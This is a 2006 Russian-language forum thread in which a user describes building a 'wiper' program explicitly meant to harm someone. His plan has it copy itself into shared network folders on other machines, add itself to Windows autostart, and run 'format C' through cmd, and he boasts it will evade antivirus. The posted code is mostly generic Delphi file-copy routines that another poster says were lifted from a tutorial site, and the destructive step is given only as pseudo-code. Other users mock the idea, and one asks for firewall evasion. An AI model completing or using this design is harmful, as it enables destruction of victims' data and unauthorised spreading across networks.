Создание вируса-стирателя

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Mrak, 29 Jun 2006.

  1. Mrak

    Mrak New Member

    Joined:
    28 Jun 2006
    Messages:
    7
    Likes Received:
    3
    Reputations:
    1
    мы хотим к примеру нагадить кому нибудь. в том примере чо я щас опишу такая штучка- после использования диск С (или D или еще какой-нить, короче зависит от желания) форматится. А все это очень просто. Так как я все это проделывал на Delphi, то вам просто расскажу идею, а сами вы уже будете писать где вам удобнее.
    1. ставим размножение - copy туды-сюды, сканить сеть и в общедоступные папки (через чужие IP) копировать туда сюда.
    2. Ставим копирование ярлыка этой штучки в автозагрузку (Пуск-Автозагрузка-Стандартные; C:\Documents and Settings\Mrak\Главное меню\Программы\Автозагрузка)
    3. Прописываем в проге вызов cmd (Run-cmd) и заставляем прописывать format C (или D). "Размножение" выглядит примерно так:
    (в Delphi)
    function CopyFile(lpExistingFileName, lpNewFileName: PChar;
    bFailIfExists: BOOL): BOOL; stdcall;
    if CopyFile(PChar(SourcePath), PChar(TargetPath), False) then
    // Выполнилась успешно.
    else
    //там где lpExistingFileName - это значит как называется файл который копируем (E:\Delphi\FormatC)
    lpNewFileName-это новое название
    то же делаем с ярлыком на автозагрузку
    Это был 1-ый способ размножения. есть еще:


    2)procedure CopyFile(Source, Dest: string);
    var
    SrcFile: Integer;
    DestFile: Integer;
    S: string;
    RetCode: Longint;
    OpenFileBuf: TOFStruct;
    FName: array[0..255] of Char;
    begin
    StrPCopy(FName, Source);
    SrcFile := LZOpenFile(FName, OpenFileBuf, of_Read);
    StrPCopy(FName, Dest);
    DestFile := LZOpenFile(FName, OpenFileBuf, of_Create);

    RetCode := LZCopy(SrcFile, DestFile);
    if RetCode >= 0 then
    begin
    LZClose(SrcFile);
    LZClose(DestFile);
    end
    else
    begin
    Str(RetCode, S);
    MessageDlg('Не могу скопировать ' + Source + ' в ' +
    Dest + #13 + 'Код ошибки = ' + S, mtError, [mbOk], 0);
    end;
    end



    3) Копирование методом TurboPascal


    type
    {Для индикации процесса копирования}
    TCallBack = procedure (Position, Size: Longint);

    procedure FastFileCopy(const InfileName, OutFileName: string;
    CallBack: TCallBack);
    const
    BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
    type
    PBuffer = ^TBuffer;
    TBuffer = array [1..BufSize] of Byte;
    var
    Size : integer;
    Buffer : PBuffer;
    infile, outfile : file;
    SizeDone, SizeFile: Longint;
    begin
    if (InFileName <> OutFileName) then
    begin
    buffer := nil;
    AssignFile(infile, InFileName);
    System.Reset(infile, 1);
    try
    SizeFile := FileSize(infile);
    AssignFile(outfile, OutFileName);
    System.Rewrite(outfile, 1);
    try
    SizeDone := 0; New(Buffer);
    repeat
    BlockRead(infile, Buffer^, BufSize, Size);
    Inc(SizeDone, Size);
    CallBack(SizeDone, SizeFile);
    BlockWrite(outfile,Buffer^, Size)
    until
    Size < BufSize;
    FileSetDate(TFileRec(outfile).Handle,
    FileGetDate(TFileRec(infile).Handle));
    finally
    if Buffer <> nil then
    Dispose(Buffer);
    System.close(outfile)
    end;
    finally
    System.close(infile);
    end;
    end
    else
    raise EInOutError.Create('File cannot be copied into itself');
    end;



    4) Копирование методом потока

    procedure FileCopy(const SourceFileName, TargetFileName: string);
    var
    S, T : TFileStream;
    begin
    S := TFileStream.Create(sourcefilename, fmOpenRead );
    try
    T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
    try
    T.CopyFrom(S, S.Size ) ;
    FileSetDate(T.Handle, FileGetDate(S.Handle));
    finally
    T.Free;
    end;
    finally
    S.Free;
    end;
    end;

    4) Копирование методом LZExpand

    uses
    LZExpand;

    procedure CopyFile(FromFileName, ToFileName : string);
    var
    FromFile, ToFile: file;
    begin
    AssignFile(FromFile, FromFileName);
    AssignFile(ToFile, ToFileName);
    Reset(FromFile);
    try
    Rewrite(ToFile);
    try
    if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then
    raise Exception.Create('Error using LZCopy')
    finally
    CloseFile(ToFile);
    end;
    finally
    CloseFile(FromFile);
    end;
    end;



    5) Копирование методами Windows

    uses
    // !!! важно
    ShellApi;

    function WindowsCopyFile(FromFile, ToDir : string) : boolean;
    var
    F: TShFileOpStruct;
    begin
    F.Wnd := 0; F.wFunc := FO_COPY;
    FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
    ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
    F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
    result:=ShFileOperation(F) = 0;
    end;

    // пример копирования
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then
    ShowMessage('Copy Failed');
    end;



    6) Файлы с каталогами

    procedure TForm1.Button1Click(Sender: TObject);
    var
    OpStruc: TSHFileOpStruct;
    frombuf, tobuf: array [0..128] of Char;
    begin
    FillChar( frombuf, Sizeof(frombuf), 0 );
    FillChar( tobuf, Sizeof(tobuf), 0 );
    StrPCopy( frombuf, 'c:\1\*.*' );
    StrPCopy( tobuf, 'c:\2' );
    with OpStruc do
    begin
    Wnd:= Handle;
    wFunc:= FO_COPY;
    pFrom:= @frombuf;
    pTo:=@tobuf;
    fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
    fAnyOperationsAborted:= False;
    hNameMappings:= nil;
    lpszProgressTitle:= nil;
    end;
    ShFileOperation( OpStruc );
    end;


    Думаю достаточно.
    Процедура запуска программ - begin
    Run - command cmd;
    write format C;
    end;
    end.
     
  2. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    это не вирус.
     
  3. Mrak

    Mrak New Member

    Joined:
    28 Jun 2006
    Messages:
    7
    Likes Received:
    3
    Reputations:
    1
    tclover
    Это Гадящая программа! тем лучше что это не подпадает под строку вирусов- ведь его не засечет никакой антивирус!!!!!!!! подумай умом, ведь что мы называем вирусом? программу заражающую компьютер и наносящая ему или данным вред!
     
  4. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    ни за что.
    - Не мы, а Вы. (с)
     
  5. Alamar

    Alamar New Member

    Joined:
    7 Mar 2006
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    >>ставим размножение - сканить сеть и в общедоступные папки (через чужие IP) копировать туда сюда.


    дык это и напиши, и чтоб фаеры не гавкали.....
     
    #5 Alamar, 6 Jul 2006
    Last edited: 6 Jul 2006
  6. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Мдя... ты хотя бы copyright оставил! Начал смотреть... Геморрой! Зачем заюзал LZ?! АА потом вспомнил DelphiWorld! :D

    Думаю достаточно.
    Процедура запуска программ -
    begin
    Run - command cmd; //объясни что это?!?!
    write format C;
    end;
    end.